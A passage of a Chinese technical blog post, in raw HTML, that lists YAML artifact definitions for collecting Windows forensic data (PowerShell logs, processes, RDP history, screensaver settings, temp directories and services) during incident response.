#98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">powershell</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;alias&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">PowershellLog</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">FILE</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          %%environ_systemroot%%\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          %%environ_systemroot%%\System32\Winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx</span><span leaf=""><br/></span></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&gt;-</span><span leaf=""><br/></span><span leaf="">          %%environ_systemroot%%\System32\Winevt\Logs\Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager%4Operational.evtx</span><span leaf=""><br/></span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Powershell</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">相关日志收集。</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 Powershell 的配置信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Process.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsProcess&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;tasklist&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/v&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;tasklist&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/m&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;tasklist&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/svc&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;powershell&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-c&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#34;gps&#34;&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM Win32_Process&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上进程信息。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上进程相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">RDP.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsRDP&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Terminal Server Client\Default&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Software\Microsoft\Terminal Server Client\Servers&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_userprofile%%\Documents\Default.rdp&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上 RDP 相关信息收集。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 RDP 相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Screen.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsScreen&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;REGISTRY_KEY&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">keys:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;HKEY_USERS\%%users_sid%%\Control Panel\Desktop&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上屏幕保护排查。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上屏幕保护相关信息</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">SensitiveDir.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WindowsSensitiveDir&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_temp%%&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\Windows\Temp&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;C:\$Recycle.Bin&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%environ_systemdrive%%\Users\Public&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上敏感目录收集。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上敏感目录排查，例如各个用户的 temp 目录</span><strong style="font-weight: bold;color: black;"><span leaf="">需要注意：</span></strong><span leaf=""> 这些目录可能内容很多，需要根据实际情况选择是否收集</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Service.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">WindowsServices</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">平台上服务信息。</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">NOPTeam</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0.0</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.1</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">sc</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">queryex</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">COMMAND</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">Windows</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: 